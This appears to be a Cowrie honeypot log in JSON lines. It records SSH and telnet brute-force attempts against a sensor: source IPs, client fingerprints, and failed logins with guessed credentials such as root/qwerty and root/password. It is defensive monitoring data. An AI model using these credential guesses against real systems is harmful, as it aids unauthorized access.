{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:58:53.483589Z","src_ip":"210.90.155.178","session":"5d7241605ece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.40611004829407,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:59:03.937928Z","src_ip":"170.64.224.25","session":"12a37c76f1e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":49256,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3cd978cc47d","protocol":"ssh","message":"New connection: 91.92.40.4:49256 (10.17.0.5:22) [session: a3cd978cc47d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:59:10.081682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:59:10.086005Z","src_ip":"91.92.40.4","session":"a3cd978cc47d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:59:10.166496Z","src_ip":"91.92.40.4","session":"a3cd978cc47d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:59:10.555686Z","src_ip":"91.92.40.4","session":"a3cd978cc47d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:59:11.703948Z","src_ip":"91.92.40.4","session":"a3cd978cc47d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.138.209.214","src_port":41486,"dst_ip":"159.203.135.109","dst_port":22,"session":"951aaa0e43cd","protocol":"ssh","message":"New connection: 94.138.209.214:41486 (159.203.135.109:22) [session: 951aaa0e43cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:59:26.538960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:59:26.545442Z","src_ip":"94.138.209.214","session":"951aaa0e43cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:59:26.677065Z","src_ip":"94.138.209.214","session":"951aaa0e43cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wk123456","message":"login attempt [root/wk123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:59:27.243602Z","src_ip":"94.138.209.214","session":"951aaa0e43cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:59:28.379811Z","src_ip":"94.138.209.214","session":"951aaa0e43cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.86.192.66","src_port":54116,"dst_ip":"10.17.0.5","dst_port":22,"session":"b16922f960a6","protocol":"ssh","message":"New connection: 195.86.192.66:54116 (10.17.0.5:22) [session: b16922f960a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:59:39.894905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:59:39.899462Z","src_ip":"195.86.192.66","session":"b16922f960a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:59:40.123854Z","src_ip":"195.86.192.66","session":"b16922f960a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cloud12#$","message":"login attempt [root/Cloud12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:59:41.055092Z","src_ip":"195.86.192.66","session":"b16922f960a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:59:42.282510Z","src_ip":"195.86.192.66","session":"b16922f960a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":40260,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a9b60d8044c","protocol":"ssh","message":"New connection: 103.82.132.16:40260 (159.203.135.109:22) [session: 2a9b60d8044c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:59:48.885421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:59:48.891630Z","src_ip":"103.82.132.16","session":"2a9b60d8044c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:59:49.136359Z","src_ip":"103.82.132.16","session":"2a9b60d8044c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wv56jo9u","message":"login attempt [root/wv56jo9u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:59:49.872778Z","src_ip":"103.82.132.16","session":"2a9b60d8044c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:59:51.122205Z","src_ip":"103.82.132.16","session":"2a9b60d8044c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":42072,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c9a54ba0244","protocol":"telnet","message":"New connection: 137.184.5.188:42072 (159.203.135.109:23) [session: 0c9a54ba0244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:59:58.447565Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":35776,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d2cb3385347","protocol":"telnet","message":"New connection: 107.6.151.170:35776 (159.203.135.109:23) [session: 5d2cb3385347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:00:18.348203Z"}
{"eventid":"cowrie.session.closed","duration":32.561495780944824,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:00:31.008725Z","src_ip":"137.184.5.188","session":"0c9a54ba0244","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":39230,"dst_ip":"159.203.135.109","dst_port":23,"session":"1312fa540e72","protocol":"telnet","message":"New connection: 107.6.151.170:39230 (159.203.135.109:23) [session: 1312fa540e72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:00:33.612236Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48362,"dst_ip":"159.203.135.109","dst_port":23,"session":"17bd63fef925","protocol":"telnet","message":"New connection: 170.64.224.25:48362 (159.203.135.109:23) [session: 17bd63fef925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:00:44.403051Z"}
{"eventid":"cowrie.session.closed","duration":31.614458799362183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:00:49.962517Z","src_ip":"107.6.151.170","session":"5d2cb3385347","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":43062,"dst_ip":"159.203.135.109","dst_port":23,"session":"f78a3cf3eea8","protocol":"telnet","message":"New connection: 107.6.151.170:43062 (159.203.135.109:23) [session: f78a3cf3eea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:00:51.981293Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":38252,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fdf1139ae44","protocol":"telnet","message":"New connection: 107.6.151.170:38252 (159.203.135.109:23) [session: 7fdf1139ae44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:00:53.037541Z"}
{"eventid":"cowrie.session.closed","duration":0.00461888313293457,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:00:53.042020Z","src_ip":"107.6.151.170","session":"7fdf1139ae44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.18.133","src_port":59710,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae934808598d","protocol":"ssh","message":"New connection: 157.230.18.133:59710 (159.203.135.109:22) [session: ae934808598d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:00:54.375765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:00:54.379893Z","src_ip":"157.230.18.133","session":"ae934808598d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:00:54.459654Z","src_ip":"157.230.18.133","session":"ae934808598d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cop","password":"123456","message":"login attempt [cop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:00:54.810662Z","src_ip":"157.230.18.133","session":"ae934808598d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:00:55.897987Z","src_ip":"157.230.18.133","session":"ae934808598d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.180.166","src_port":45444,"dst_ip":"10.17.0.5","dst_port":22,"session":"569ed2a9609a","protocol":"ssh","message":"New connection: 192.169.180.166:45444 (10.17.0.5:22) [session: 569ed2a9609a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:02.917392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:02.922763Z","src_ip":"192.169.180.166","session":"569ed2a9609a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:02.998342Z","src_ip":"192.169.180.166","session":"569ed2a9609a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!@","message":"login attempt [root/admin!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:03.196915Z","src_ip":"192.169.180.166","session":"569ed2a9609a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":33308,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc96e6c47869","protocol":"ssh","message":"New connection: 91.92.40.4:33308 (10.17.0.5:22) [session: fc96e6c47869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:03.633944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:03.640636Z","src_ip":"91.92.40.4","session":"fc96e6c47869","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:03.729713Z","src_ip":"91.92.40.4","session":"fc96e6c47869","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:04.102318Z","src_ip":"91.92.40.4","session":"fc96e6c47869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:04.265611Z","src_ip":"192.169.180.166","session":"569ed2a9609a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:05.250870Z","src_ip":"91.92.40.4","session":"fc96e6c47869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.52667808532715,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:06.138748Z","src_ip":"107.6.151.170","session":"1312fa540e72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":40230,"dst_ip":"10.17.0.5","dst_port":22,"session":"011f20cb07d8","protocol":"ssh","message":"New connection: 210.90.155.178:40230 (10.17.0.5:22) [session: 011f20cb07d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:07.963623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:07.968861Z","src_ip":"210.90.155.178","session":"011f20cb07d8","protocol":"ssh"}
